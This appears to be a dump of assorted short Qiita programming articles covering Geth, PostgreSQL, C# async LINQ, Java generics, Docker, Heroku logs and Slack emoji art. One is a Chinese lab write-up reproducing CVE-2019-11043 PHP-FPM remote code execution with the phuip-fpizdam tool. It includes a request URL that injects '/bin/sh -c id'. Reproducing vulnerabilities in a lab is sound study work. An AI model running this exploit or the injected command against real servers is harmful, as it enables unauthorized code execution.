OmniAICreator/Qiita-1.07M huggingface dataset:
MacOSをCatalinaにアップデートして、Gethが起動できなくなった時の対処法

# Gethとは
Go Ethereumの略で、イーサリアムのネットワークに参加するときに使用します。
gethのインストールは以下のコマンドで行います。

```
 brew install ethereum
```

# アップデートしたらエラーが!!!
先日MacOSのアップデートをしました。そしたらgethが起動できなくなりました。

```

sh-3.2# geth
sh: /usr/local/bin/geth: cannot execute binary file
```

# 対処法
gethのインストール時で何かエラーが起きており、コンパイル済みのgethのファイルがインストールされていないようなので、下記のリンクから、gethをインストールします。

→ https://geth.ethereum.org/downloads/

インストールして、`geth`ファイルを`/usr/local/Cellar/ethereum/1.9.6/bin`に移動させたら完了です。
postgresql基礎


# 実行環境
MacOS 10.14.5 

# 基本的なコマンドメモ

##インストールコマンド

```shell
$ brew install postgresql
```

##プロセス実行コマンド

```shell
$ brew services start postgresql

$ pg_ctl -D /usr/local/var/postgres start
```

##postgresCLI起動

```shell 
psql -U <role_name> -d <database_name>
```

##ユーザー(ロール)作成

```shell
create role <ユーザー(ロール)名> with login password 'password';
```
ターミナルのカラースキームを変更しても色が変わらない時の対処法

ターミナルの文字を見やすくしようと思い、評判が良いカラースキーム「iceberg」をダウンロードして設定しました。しかし、lsコマンドで表示されるディレクトリの色が変わらずに悩みましたので、解決方法を紹介します。

なお、私が使用しているPCはMacで、ターミナルはiTerm2です。

## lsコマンドの色付けを行う
lsコマンドはデフォルト設定では色がつきません。-Gオプションを使用すると色がつきます。
ですので、lsコマンドが自動で`ls -G`になるように、以下を記述します。

```:.zshrc
export CLICOLOR=1
```
私はzshを使っているので、`.zshrc`に上記のコードを書いています。
bashを使っている場合は、`.bash_profile`に上記のコードを書いてください。

## ターミナルで256色表示する設定に変更する
念のため、ターミナルが256色表示する設定になっているか確認します。

#### iTerm2
Preferences → Profiles → Terminal → Report terminal type の項目を「xterm-256color」にする

#### Terminal.app
環境設定 → プロファイル → 詳細 → ターミナルの宣言方法の項目を「xterm-256color」にする



## 参考
https://superuser.com/questions/399594/color-scheme-not-applied-in-iterm2
[C#] Linqの中でawaitさせたいとき

**もくじ**
→https://qiita.com/tera1707/items/4fda73d86eded283ec4f

# やりたいこと
下記のようなコードで、Selectを使ってテーブルの値を加工したい。

```Selectでテーブル編集.cs
int[] table = { 1,2,3,4,5,6,7,8,9,10 };

private void Button_Click2(object sender, RoutedEventArgs e)
{
    var ans = table.Select(x => Add10(x));
}
private int Add10(int a)
{
    return a + 10;
}
```

このとき、Add10メソッドが非同期メソッドだった場合に、どのように書けばよいかわからなかった。

```Selectでテーブル編集.cs
int[] table = { 1,2,3,4,5,6,7,8,9,10 };

private async void Button_Click2(object sender, RoutedEventArgs e)
{
    // どうやって書けばいい？
    // ここでansを計算して、awaitで待って、この後にansを表示させるなどしたい。
    var ans = await？？？ table.Select(async？？？(x) => ？？？);
}
private async<int> Add10(int a)
{
    // 非同期版の計算メソッド
    await Task.Delay(1000);
    return a + 10;
}
```

# やりかた
Linqの部分を、`Task.WhenAll`で包んで、それを`await`する。

# サンプルコード

```Selectでテーブル編集(非同期版).cs

int[] table = { 1,2,3,4,5,6,7,8,9,10 };

private async void Button_Click(object sender, RoutedEventArgs e)
{
    Debug.WriteLine("処理開始");

    // ★★数値tableに100を足す計算をSelectで行い、それをTask.WhenAllで包む★★
    var ans = await Task.WhenAll(table.Select(async (x) => await Add100(x)));

    Debug.WriteLine($"処理終了");
}

// 100加算して返す(実験的に5秒待つ)
private async Task<int> Add100(int a)
{
    Debug.WriteLine($"input is {a}. Start Calc...");
    await Task.Delay(1000);
    Debug.WriteLine($"input is {a}. End Calc.");

    return a + 100;
}
```

上記を実行すると、下のような出力となる。
処理全体としては、SelectでAdd100メソッドをよぶ処理が10件全部平行して行われるので、1秒(1000ms)経過した時点で処理が完了する。
**※1～10までの加算処理の完了は、順番は保証されない。**

```出力.txt
処理開始
input is 1. Start Calc...
input is 2. Start Calc...
input is 3. Start Calc...
input is 4. Start Calc...
input is 5. Start Calc...
input is 6. Start Calc...
input is 7. Start Calc...
input is 8. Start Calc...
input is 9. Start Calc...
input is 10. Start Calc...
input is 3. End Calc.
input is 2. End Calc.
input is 1. End Calc.
input is 10. End Calc.
input is 8. End Calc.
input is 9. End Calc.
input is 7. End Calc.
input is 6. End Calc.
input is 5. End Calc.
input is 4. End Calc.
処理終了

```

# 参考
ラムダ内でasyncを書き、結果はIEnumerable<Task<T>>となるので、配列に戻してやるためにTask.WhenAllとセットで使っていくのが基本となります。
http://neue.cc/2013/12/04_435.html
どうしても「new T()」したい！（しかも検査例外なしで）

# 結論

T型のインスタンスを生成する関数型インターフェースのインスタンスを、引数で受け取る。

```Java
// newT()が必要なメソッド
<T> T doSomething(Supplier<T> supplier) {
    T instance = supplier.get();
    return instance;
}

// doSomethingを呼び出すメソッド
void caller() {
    Test instance = this.doSomething(() -> new Test());
}
```

# 解説

そもそも `new T()`がアンチパターンなのはわかっていても、 `new T()` したいときもある。
そのときの解決法としてよく提示されるのが以下のパターン。

## ClassインスタンスをもらってnewInstance()する

```Java

<T> T doSomething(Class<T> clazz) throws InstantiationException, IllegalAccessException {
    T instance = clazz.newIntance();
    return instance;
}

void caller() {
   Test instance = this.doSomething(Test.class);
}
```
このコードの問題点は検査例外をスローすること。

### 検査例外をスローする
上述のコードの通り、 `InstantiationException` と `IllegalAccessException`をスローする。
`Class.newInstance()` 側としては妥当な設計だとは思うが、使う側としてはコンストラクタが例外をスローしないことを確信できる場合もあるわけで…。
そうするとわざわざ上記例外を `try-catch` したり `throws` したりするのは面倒くさい。
さらに検査例外なので、`stream`と相性が悪く[^1]、内部で`try-catch`が必要になる

```Java
<T extends SuperTest> List<T> doSomething(Class<T> clazz, List<String> valueList) throws InstantiationException, IllegalAccessException {
    return valueList.stream()
        .map(value -> {
            // せっかくstreamでスマートに書きたいのにtry-catch…
            try {
                T obj = clazz.newInstance();
                obj.setValue(value);
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        })
        .collect(Collectors.toList());
}
```
その点、関数型インターフェースは余計な検査例外が発生しないので比較的綺麗にかける（コンストラクタに`throws`がある場合は別）。
[^1]: 正確には関数型インターフェースと相性が悪い。

# 余談
コンストラクタが引数をとる場合は`Function<T, R>`のインスタンスを使う。
2つなら`BiFunction<T, U, R>`。
3つ以上の場合は、引数のためのクラスを作るなり、`java.util.Map`を使うなりする。

```Java:引数が1つ
// newT()が必要なメソッド
<T> T doSomething(Function<String, T> func) {
    T instance = func.apply("コンストラクタの引数");
    return instance;
}

// doSomethingを呼び出すメソッド
void caller() {
    Test instance = this.doSomething((str) -> new Test(str));
}
```
```Java:引数が2つ
// newT()が必要なメソッド
<T> T doSomething(BiFunction<String, Integer, T> func) {
    T instance = func.apply("コンストラクタの引数", 1);
    return instance;
}

// doSomethingを呼び出すメソッド
void caller() {
    Test instance = this.doSomething((str, number) -> new Test(str, number));
}
```
【サルが書く】Laravel 基本情報編

# Laravelのとくちょう

わきゃ
最近Laravelに触る機会ができたので、基本的なところをまとめたいと思います。


## 1. 学習コストが低い
Laravelの特徴として、学習コストが低いことが挙げられます。
その特徴として、 `ファサード` を使用することで、PHPのスタティックなクラスメソッドを呼び出すように各機能を使用することができます。
[Laravel 5.5 ファサード](https://readouble.com/laravel/5.5/ja/facades.html)

Laravelのファサードはすべて、`Illuminate\Support\Facades` 名前空間下で定義されているので。
使いたいときは `use Illuminate\Support\Facades\Cache;`のようにuseで指定して使うようですね。

ファサードを使用するときの注意点としては、ファサードを使用しすぎてクラスの肥大化しないように気をつけること。クラスの責任範囲を小さくするようにファサードを使用しすぎない。


## 2. symfonyベース
Laravelは[symfony](https://symfony.com/)ベースで作られています。
symfonyのコアはModel View Controller(MVC)フレームワークである Mojavi、オブジェクトリレーショナルマッピング (ORM) である Propel、そして Ruby on Rails のテンプレートヘルパーなどがベースとなっています。

## 3. 多機能
Laravelはフルスタックフレームワークであり、様々な機能を持っています。
ルーティングやコントローラー、ビュー、ORMなどの基本機能の他に、認証機能、UT (ユニットテスト)、などの応用的な機能も備えています。

## 4. 積極的なバージョンアップ
Laravelは積極的なバージョンアップを常に行っています。
現時点では半年ごとにマイナーリリースが行われています。PHPのフレームワークの中では早めのリリースサイクルを保っています。そのため、2年毎にLTS（長期サポート版）がリリースされます。

最近 (2019/09/11) ではLaravel6のリリースが発表されました。
https://laravel-news.com/laravel-6

## 5. 高い拡張性
Laravelではディレクトリ構成に高い拡張性を備えています。ディレクトリ構成は開発者が自由に決めることができます。そのためMVCパターン、ADR、レイヤードアーキテクチャ等の様々なアーキテクチャを採用することができます。

逆に言えば、自由なディレクトリ構造をできるので、ディレクトリの管理ができなくなりやすいのかなとも思います。

phpのフレームワークで[CakePHP](https://cakephp.org/jp)がありますが、そちらはLaravelとは逆にディレクトリ構成を規約で縛ることにより、崩れにくいディレクトリ管理をすることができます。

### 参考文献

[PHPフレームワーク Laravel Webアプリケーション開発 バージョン5.5 LTS対応](https://amzn.to/2MFN7eg)
IDA コマンド集

# IDAコマンド集
CTFでIDA（Free版）を使用する際にコマンドが分からなくなるのでまとめてみた
順次更新予定

## 検索
* テキスト検索
    * Alt + T
* 次のテキストへ
    * Ctrl + T

## ジャンプ
* アドレスにジャンプ
    * G
* ひとつ前のポジションへジャンプ
    * Esc

## ブックマーク
* 登録
    * Alt + M
* リスト表示
    * Ctrl + M
究極の謝罪はSlackのスタンプを活用しよう！ ～明日から使えるSlackスタンプスニペット集～

# 初めに

Slackにはスタンプ機能があり、回りくどい文章を書かずに感情を相手に適切に伝えることができます。

![2019-10-23_22h49_10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/97408/d830e01a-c642-c181-dff6-c7e7f41060ba.png)

もっとスタンプの活用方法を考えてみたくなったので、スニペット化しました。

~~[個人ブログ](https://blog.tubone-project24.xyz/2019/10/23/slack-stamp)にも同記事を上げました。~~

# ご紹介

## 謝罪ピラミッド

最上位の謝罪ができる。
見た目は汗をかきながら必死にする組体操なので、教育現場への疑問提起もできる。

ダイバーシティーを意識して人種のバリエーションを持たせるのがコツ

![preview](https://raw.githubusercontent.com/tubone24/markdown-memo/master/src/loose/man-bowing-pyramid.png)

```
:man-bowing: < ごめん！
                  :man-bowing::skin-tone-3:
              :man-bowing::man-bowing::skin-tone-6:
        :man-bowing::skin-tone-2::man-bowing::skin-tone-4::man-bowing::skin-tone-2::man-bowing::skin-tone-2:
  　:man-bowing::skin-tone-2::man-bowing::skin-tone-3::man-bowing::skin-tone-6::man-bowing::man-bowing::skin-tone-2:
:man-bowing::man-bowing::skin-tone-2::man-bowing::man-bowing::man-bowing::man-bowing::man-bowing::skin-tone-3:
```

## インベーダゲーム

あの有名なレトロゲーです。

たまにはアーケードゲームに打ち込みたいもの。

![img](https://raw.githubusercontent.com/tubone24/markdown-memo/master/src/loose/invador.png)

```
:space_invader: :space_invader: :space_invader: :space_invader: :space_invader:
:space_invader:       :boom: :space_invader:



           │

           凸
```

## 福笑い

Slackのスタンプになぜ顔のパーツがあるか、考えた結果思いついた。

ちょっとだけいびつにするのがミソ。

正月にやろう！

![img](https://raw.githubusercontent.com/tubone24/markdown-memo/master/src/loose/hukuwarai.png)

```
:eye:   :eye: 
    :nose::skin-tone-4: 
    :lips:
```

# 効果

チームのSlackで早速使ってみました。

![2019-10-23_22h52_03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/97408/59b923a6-fa60-8ccf-5634-5757c724f897.png)

`謝罪ピラミッド` で究極の謝罪ができたのではと思います。

# 最後に

これからも思いつき次第下記noteに記載していきます！！

https://note.tubone-project24.xyz/loose/slack-stamp-snipet.html#%E8%AC%9D%E7%BD%AA%E3%83%94%E3%83%A9%E3%83%9F%E3%83%83%E3%83%89

みんなもSlackスタンプ生活、始めよう！
UIntegerに0x80000000を代入したい

VB.NETのUIngeterに16進数の0x80000000を代入しようとしてエラーに遭遇しました。
<img width="346" alt="UIngeterに16進数の0x80000000を代入" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/243237/37457239-df98-2b1e-e064-685ce7a89abc.png">

小一時間調べたところ、VB.NETで&H80000000はIntegerのリテラルとして認識されるため、10進数でいうところの-2147483648として評価されているようです。
&H80000000を明示的に、UIntegerのリテラルだと認識させるには末尾にUIを付けます。

```vb
Dim hoge As UInteger = &H80_00_00_00UI
```

ちなみに、C#では特に問題ないようです。
golang vscodeのデバッグで変数をのぞいたときに値が省略されているやつ

# ... +4160 more じゃねー！
vscでブレークポイントを貼っても変数の値が省略されてしまい、内容が最後まで見られませんでした。

- jsonとかだと全体をみたいよね
- 省略されても嬉しくないよね

それで解決方法をggったけどなかなか見つからなかったのでメモっときます。

# BEFORE
![go1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/62209/e84be964-4892-2319-1685-a0f027db57c9.png)

## settings.jsonを編集

「 // ← これ」のところを編集
#

```settings.json
{
  "go.delveConfig": {
    "dlvLoadConfig": {
      "followPointers": true,
      "maxVariableRecurse": 1,
      "maxStringLen": 10000, // ← これ
      "maxArrayValues": 500,
      "maxStructFields": -1
    }
  }
}
```
# AFTER

他の`dlvLoadConfig`の項目については以下のリンクからどうぞ
https://github.com/Microsoft/vscode-go/wiki/Debugging-Go-code-using-VS-Code

![go2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/62209/a1594cd4-edfd-9b88-1acc-1521fb83dfa4.png)
dockerでnginxを起動しようと思ったら、80番ポートがすでに使われていて起動できなかった

- まずは80ポートを何が掴んでいるのか確かめる

```
$ sudo lsof -i :80 
```
これで,80ポートを占領しているものが見れる↓
![スクリーンショット 2019-10-23 22.51.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/431120/6d394762-f5ab-f2df-504c-aa02af5ee704.png)


どうやら80番ポートがnginxに大量に掴まれている様子
<br>


- killしてみる

```
$ kill (PID)
```

が、

私の環境ではなぜか無限に出てくる...<br>

- 効率よく消すにはこれがいい

```
$ kill $(lsof -t -i:80)
```

これで$sudo lsof -i :80で出てきた一覧にある15個ほどのポートは消せる。
ただ、私の場合は消してもまた同じ量の８０番ポートが掴まれていた
何度消しても何度も出てくる...

なので

これ↓でnginx全てを落とす

```
$ sudo nginx -s stop
```

これでようやく全て消えたので、dockerでnginxを立ち上げてみると起動できた

理由がさっぱりわかりませんがひとまず全てのportを消せたので、備忘録として残します
エラー時のHerokuのlogの見方

##HerokuにデプロイしたWebサイトがひらけない

Application　errorが発生した。

logを開いて詳細を見ろとあるが、logの見方がそもそもわからないので調べてみた。

このようなエラーが発生した。解読してみる。

```
2019-10-23T12:26:25.860762+00:00 heroku[router]: at=error code=H10 
desc="App crashed" method=GET path="/favicon.ico" 
host=urog.herokuapp.com request_id=2da7814a-4064-4aa8-9424-2dc03bbd8e7c 
fwd="150.46.200.24" dyno= connect= service= status=503 bytes= protocol=https
```

##Heroku logの読み方
ログはこのような形式で出力される。

```
timestamp source[dyno]: message
```
timestamp:ログの出力時刻
source:ログの発生源
dyno:sourceより細かなログの発生源

つまり、
このログの出力時刻は2019-10-23T12:26:25.860762+00:00　で
このログの発生源はherokuのrouterである。
そしてそれ以降がメッセージ。そのメッセージの中身を見ていきます。

つまり、このエラーはherokuのrouterあたりが原因となっている。

###メッセージ前半
at:重要度(必ずinfoになる)
code:エラーコード
(詳細はここhttps://devcenter.heroku.com/articles/error-codes#h10-app-crashed)
desc:エラーに対する説明

つまり、このエラーメッセージは、
アプリがクラッシュしたエラー(H10)を示しており、
(descでも記載されている)



###メッセージ後半(HTTP関連)
method: HTTPリクエストのメソッドを表す
path: HTTPリクエストの リクエストターゲットの パス部分以降を表す
host:HTTPリクエストのリクエストターゲットのホスト部分を表す
request_id:HTTPリクエストのHerokuにおける識別子を示す
fwd:HTTPリクエストを送信したクライアントのIPアドレスを表す
dyno:HTTPリクエストを処理した仮想マシンの名称を示す
service:クライアントとHTTPリクエストを処理する仮想マシンとの間のデータのやりとりにかかった時間をミリ秒単位で表す
status:HTTPレスポンスのステータスコードを示す
bytes:HTTPレスポンスの長さをバイト単位で表す。

つまり、
urog.herokuapp.com/favicon.ico
に対してHTMLのGETメソッドを送ったときにエラーがでているのがわかる。

エラーの理由はサービスが停止していることだとわかる(503)。

結果、よくわからないが
heroku run rake db:migrate
したら動くようになり解決

ーーーーー
後日談
Railsの標準DBはSQLite
↓
Herokuの標準DBはPostgreSQL

Herokuで動かすためには本番環境のDBをSQLiteからPostgreSQLに変えないといけない。
そのために3つの手順が必要↓こちらを参考に
https://qiita.com/hmmrjn/items/e2dff8036fbbd74f049a
JAWS-UG初心者支部第20回勉強会に参加してきた

10/23日に開催されたJAWS-UG初心者支部第20回勉強会に参加してきました
ブログに書いたら薄い本くれるって[@dkfj](https://twitter.com/dkfj?s=17)さんがおっしゃってたので書いてみます
記事書く気なかったので写真と全くなく見辛い、、
セッションやLTごとに大事だと思った部分や印象に残った部分を３行で書くので気になったらスライドみてください

# セッション①：AWS流アウトプットの秘訣

AWSJ舘岡 守さん

- アウトプットは大事
- アウトプットしないのは知的な便秘
- オススメのアウトプット方法はLT

AWSの方ってなんとなくお固そうなイメージだったんですが愉快な方でしたw

スライド⬇︎ (Qiitaって埋め込みできないのか？)
https://speakerdeck.com/qphoney/output-technique

# セッション②：LTのコツと心得

森川晃さん [@ariaki4dev](https://twitter.com/ariaki4dev)

- まずはアウトプットをなぜやるのか(自分のため or 他人のため)モチベーションを探る
- アウトプットしようとすると調べるので、アウトプットは良質なインプットのチャンス
- LTするときは聞き手の知らないことを内容の３割程度にすると聴きやすく刺激的

LTのTipsみたいなのがすごかったので自分がやるときには是非参考にさせていただきます！

スライド⬇︎
https://speakerdeck.com/ariaki/how-to-begin-output-jawsug-bgnr

# パネルディスカッション：
JAWSの運営コアメンバーから初心者にお届けするJAWSなアウトプットについて

モデレーター：
AWSJ沼口さん
各支部運営：
・Security-JAWS大竹さん
・X-Tech JAWS吉江さん
・Fin-JAWS釜山さん
・CLI専門支部波田野さん

みなさんかなりの熱量で濃いお話をしてくれましたが個人的にはCLIの波田野さんの

 - 負のフィードバックをどれだけもらえるかが大事
 - AWS CLIではコピペで動くので強烈なインプットを与えて、帰ってから復習してもらう
 - 何度やっても動くので復習効率がいい

という話がなるほどなあという感じでした 

# LT：誰でもできる簡単なアウトプット法！！IAMのマニアックな話に添えて

佐々木拓郎さん [@dkfj](https://twitter.com/dkfj)

- アウトプットのハードルを下げる。最初はツイッターや１行のブログでもOK
- 継続する。質より量。量が増えれば質は上がる。
- 計測する。成果が目に見えることで励みや工夫に繋がる。

この方のIAMの本が欲しくてこれ書いてますw

スライド⬇︎
https://speakerdeck.com/takuros/jawsugchu-xin-zhe-zhi-bu-shui-demodekirujian-dan-naautopututofa

# LT：意識低いインプットでもできるアウトプット

近藤佑子さん [@kondoyuko](https://twitter.com/kondoyuko)

- 技術を扱った経験が少なくてもアウトプット力があれば知識をつけられる
- かっこ悪いアウトプットでもOK
- 出してみることは正義

５分間をとんでもない勢いで駆け抜けっていったエネルギッシュな方でした

スライド⬇︎
https://speakerdeck.com/kondoyuko/output-that-can-be-achieved-even-with-beginners-input

# まとめ！
AWSの話が聞けると思って行ったんですが実際にはほとんど聞けませんでしたw
ただアウトプットの大切さについて思い知ることができました！
おれもどっかでLTやるぞ

当日のツイッターの様子はこちら
[#jawsug_bgnr](https://twitter.com/search?q=%23jawsug_bgnr&src=typed_query&f=live)
【メモ】Rails APIモード × MySQL5.7 × Docker で環境構築

# はじめに
久しぶりにDockerを作成したら所々躓いたので要点をメモ

# 手順
1. ディレクトリ用意＆移動
2. `Gemfile`, `Gemfile.lock`, `Dockerfile`, `docker-compose.yml`を作成
3. 2.のファイルにコード記述
4. `$ docker-compose build`
5. `$ docker-compose run app rails new --api . --force --no-deps --database=mysql`
6. `config/database.yml`を修正
7. `$ docker-compose build --no-cache`
8. `$ docker-compose up`
9. `$ docker-compose run app rails db:create`

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/307533/675320f4-da04-38d5-538c-8fd3b19d2b42.png)

# 手順3, 6で用意するファイルについて
```ruby:Gemfile
source 'https://rubygems.org'
git_source(:github) { |repo| "https://github.com/#{repo}.git" }

source "https://rubygems.org"
gem 'rails', '6.0.0'
```

```docker:Dockerfile
FROM ruby:2.6.5
ENV LANG C.UTF-8

# install required libraries
RUN apt-get update -qq && apt-get install -y build-essential libpq-dev nodejs

RUN gem install bundler -v 2.0.2

# install bundler
RUN gem install bundler

WORKDIR /tmp
ADD Gemfile Gemfile
ADD Gemfile.lock Gemfile.lock
RUN bundle install

WORKDIR /app
COPY . /app
```

```docker-compose.yml
version: '3'
services:
  mysql:
    image: mysql:5.7
    command: mysqld --character-set-server=utf8 --collation-server=utf8_general_ci
    ports:
      - "3306:3306"
    volumes:
      - mysql-data:/var/lib/mysql
    environment:
      MYSQL_DATABASE: app_development
      MYSQL_USER: root
      MYSQL_PASSWORD: password
      MYSQL_ROOT_PASSWORD: password
  app:
    tty: true
    stdin_open: true
    build: .
    command: bash -c "rm -f tmp/pids/server.pid && bundle exec rails s -p 3000 -b '0.0.0.0'"
    volumes:
      - .:/app
    ports:
      - "3000:3000"
    depends_on:
      - mysql
volumes:
  mysql-data:
    driver: local
```

```config/database.yml
default: &default
  adapter: mysql2
  encoding: utf8
  pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
  username: root
  password: password
  host: mysql

development:
  <<: *default
  database: app_development

test:
  <<: *default
  database: app_test

# 一例です。productionについてはデプロイする際に注入する環境変数を適宜用意して下さい。
production:
  <<: *default
  username: <%= ENV['MYSQL_USER'] %>
  password: <%= ENV['MYSQL_ROOT_PASSWORD'] %>
  database: <%= ENV['MYSQL_DATABASE'] %>
  host: <%= ENV['MYSQL_HOST'] %>
  socket: <%= ENV['MYSQL_SOCKET'] %>
```
VirtualboxにUbuntu serverをインストールし、TeraTermでSSH接続する

環境：windows10 pro

**Virtualboxをインストール**
---
[Oracle Virtualbox](https://www.virtualbox.org/wiki/Downloads)
VirtualBox 6.0.4 platform packages
 -> Windows hosts

**Ubuntをインストール**
--- 
[Ubuntu 16.04](http://www.releases.ubuntu.com/16.04/)
-> ubuntu-16.04.5-server-amd64.iso 

**Virtualbox内にUbuntuをインストール**
---
Setting -> Storage -> Controller IDE -> Empty の所を
先ほどインストールしたubuntu-16.04.5-server-amd64.isoに変える

![image.png](https://qiita-image-store.s3.amazonaws.com/0/331630/a7e9ea38-956b-44ac-88b3-37816c497f8d.png)

**TeraTermをインストール**
---
[TeraTerm](https://osdn.net/projects/ttssh2/)
Tera Term 4.101 -> teraterm-4.101.exe

**ポートフォワーディングを設定**
---
Setting -> Network -> PortForwarding を下記のように設定
![image.png](https://qiita-image-store.s3.amazonaws.com/0/331630/202a1095-c341-f8d1-8e1a-143bb95d67ec.png)

**TeraTermでVirtualBoxのUbuntuへSSH接続**
---
Virtualboxのコンソールからroot権限(```sudo bash```)で以下のコマンドを実行
```apt-get install ssh
```

**VirtualBoxのUbuntuへSSH接続**
---
下図の順で実行
![image.png](https://qiita-image-store.s3.amazonaws.com/0/331630/ce992e12-324d-dc0a-6707-b9b5351416fe.png)

![image.png](https://www.out48.com/wp-content/uploads/2016/11/161113_001.png)
https://www.out48.com/archives/1393/
![image.png](https://qiita-image-store.s3.amazonaws.com/0/331630/d05ec351-4eaf-8e06-b7f8-4dce114240c5.png)

![image.png](https://qiita-image-store.s3.amazonaws.com/0/331630/07c8fa56-f50f-5259-308e-5658b808f204.png)

接続完了

**おまけ**
---
***netstat***
何のプロセスが何のポート使っているかを調べる

```
$ netstat -tlnp
```
***bashrc***
shell起動時に実行するもの
ここに、Proxyの設定を書く

```
$ vi ~/bashrc
```

**参考**
---
[Windows10にVirtualBoxとUbuntuをインストール](https://qiita.com/pyon_kiti_jp/items/0be8ac17439abf418e48)
[VirtualBoxのUbuntu ServerにTera TermでSSH接続する手順](https://webvox.jp/virtualbox-ubuntu-teraterm/)
[Linuxでプロセスが何のポート使っているかを調べる](https://qiita.com/sonoshou/items/cc2b740147ba1b8da1f3)
[bashrcファイルについて](https://qiita.com/pokobur/items/180b83f2db902a586d7e)
[漏洞复现]CVE-2019-11043/PHP-FPM在Nginx特定配置下远程代码执行

### 环境准备
可以使用vulhub的环境
先在本地创建一个名为`CVE-2019-11043`的文件夹,再创建一个名为`www`的文件夹
在`CVE-2019-11043`文件夹下执行如下命令

```
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/default.conf
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/docker-compose.yml
```

在`CVE-2019-11043/www`文件夹下执行如下命令

```
wget https://raw.githubusercontent.com/vulhub/vulhub/master/php/CVE-2019-11043/www/index.php
```

下载完成三个文件以后,在`CVE-2019-11043`文件夹下执行如下命令启动环境

```
service docker start
docker-compose up -d
```
随后访问`http://ip:8080/index.php`即可
### 工具准备
访问`https://github.com/neex/phuip-fpizdam`,clone到本地以后,执行如下命令(将根据OS自动生成对应的OS版本)

```
go build
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/727451f9-c900-f24b-a6dd-9d06651bd037.png)

即可生成`phuip-fpizdam`工具

### 漏洞复现

使用`./phuip-fpizdam http://ip:8080/index.php`攻击漏洞环境

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/a092dcda-490f-f9f1-05cf-7827fe6f8195.png)

随后访问`http://ip:8080/index.php?a=/bin/sh+-c%20%27id%27&`即可

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/491410/fbe6700d-96ed-3c7c-fb3d-0525ee6a2c1f.png)

### Reference
https://github.com/neex/phuip-fpizdam
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
docker超入門

コンピュータに詳しくない自分が急にDockerを使う必要が出てきたときのノートです. 
同じような状況に陥った人の参考になれば幸いです. 

# 超入門
dockerおよびnvidia-dockerはinstall済みの場合を想定します.
難しいことを考えずにただ使うだけだと, 以下の3つのステップで大丈夫です. 

1. Docker Imageを用意する. 
2. Docker Imageを使って, Docker Containerを起動する.
3. 起動したContainer内に入って作業する. 

## Docker Imageを用意する. 
Docker Imageを用意する方法は, 自分が知っている限り以下の2つあります. 

1. DockerfileでImageをbuildする. 
2. 既存のDocker Imageをpullしてくる. 

Dockerfileが既に用意されている場合, 以下のコマンドでImageをbuildできます. 

```
$ docker image build -f ./Dockerfile -t <repository name:tag name> .
```

Dockerfileがない場合は, [Dockerhub](https://hub.docker.com/)で自分の作業に必要なDocker Imageをpullできます. 
DockerhubにあるImageは公式のものほど動作が保証されているので安心して使えます. 
例えば, [nvidia/cuda](https://hub.docker.com/r/nvidia/cuda)のGPU環境が必要な場合は, 

```
$ docker pull nvidia/cuda
```

のコマンドだけでImageをpullできます. 
逆に自分がbuildしたImageをdockerhubにpushしておけば, 違うマシンでImageをbuildし直す必要がないので非常に便利です. 

用意したDocker Imageは, 

```
$ docker image ls
```

で確認できます. 

## Containerの起動
作成したDocker Imageを使って, Docker Containerを起動します. 

```
$ docker container run -it -p <host:cont> -v <host dir:cont dir> --name <container name> -d <image name>
```
GPU環境のcontainerを起動する場合は, `docker` を `nvidia-docker` に変えてください. 
`-p` はポートフォワード, `-v` はdirectoryのmountのオプションなのでよしなに設定してください. 

起動したcontainerは, 

```
$ docker ps -a
```
で確認できます. `-a`を入れると, stopしているcontainerも確認できます. 

## docker container内に入る
```
$ docker exec -it <container id or name> bash
```
これだけです. ここまでで, dockerよくわかってないけど作業できる状態までなります!

## 使用例
自分はjupyterで作業したかったので, containerを起動する時に`-p 8000:8888`と設定して, 
container内で以下のコマンドでjupyterを立ち上げます. 

```
$ jupyter notebook --ip=0.0.0.0 --allow-root
```
もしくはjupyterのconfigを設定するのが良いかもしれないです. 

# 最後に
docker, 使うだけなら簡単ですね!!
当然dockerはもっと便利なツールなので, もう少し勉強します. `Dockerfile`の書き方とか, `docker-compose`の使い方辺りかな. 

Qiita初投稿なので, 内容だけでなくマナー的なところでご指摘あればよろしくお願いします.
Dockerfile作成からDocker-composeまでの流れ

前提：Dockerがインストールされている環境

**Docker Composeのインストール**
Dockerがインストールされている環境で以下を実行
```$ curl -L https://github.com/docker/compose/releases/download/1.21.2/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose```
`$ chmod +x /usr/local/bin/docker-compose`

**Dockerfile を作成**
`docker build` する為の手順を書いたファイル

```Dockerfile
FROM python:3.6

RUN mkdir /code
VOLUME /code

ADD main.py /code/
ADD requirements.txt /code/

WORKDIR /code
RUN apt-get update 
RUN pip install --upgrade "pip<10" \
&& pip install flask \
&& pip install -r requirements.txt

CMD ["python", "main.py"]
```

**Docker-compose.yml を作成**
複数のコンテナを組み合わせて１つのアプリケーションとして構成を定義するファイル

```docker-compose.yml
version: '2'

services:
    flask:
      build:
      ports:
        - "5000:5000"
      volumes:
        - ".:/code"
```

**実行**
`$ docker-compose up -d` で、`Dockerfile` から独自のイメージをビルドし、
コンテナを起動してくれる。

**参考**
[Python+Flask環境をDockerで構築する](https://qiita.com/kai_kou/items/e78b546b9820c7d8f1f9)
[Docker | docker build と Dockerfile でイメージをビルドする基本](https://qiita.com/YumaInaura/items/e7155b309e109bc75cf8)
[Dockerfileを書いてみる](https://qiita.com/nl0_blu/items/1de829288db2670276e8)
[Docker Compose - docker-compose.yml リファレンス](https://qiita.com/zembutsu/items/9e9d80e05e36e882caaa)
[Docker入門（第六回）〜Docker Compose〜](https://knowledge.sakura.ad.jp/16862/)
ラムダ式を無知から少しでも理解したい！

#ラムダ式を無知から少しでも理解したい！#

##はじめに
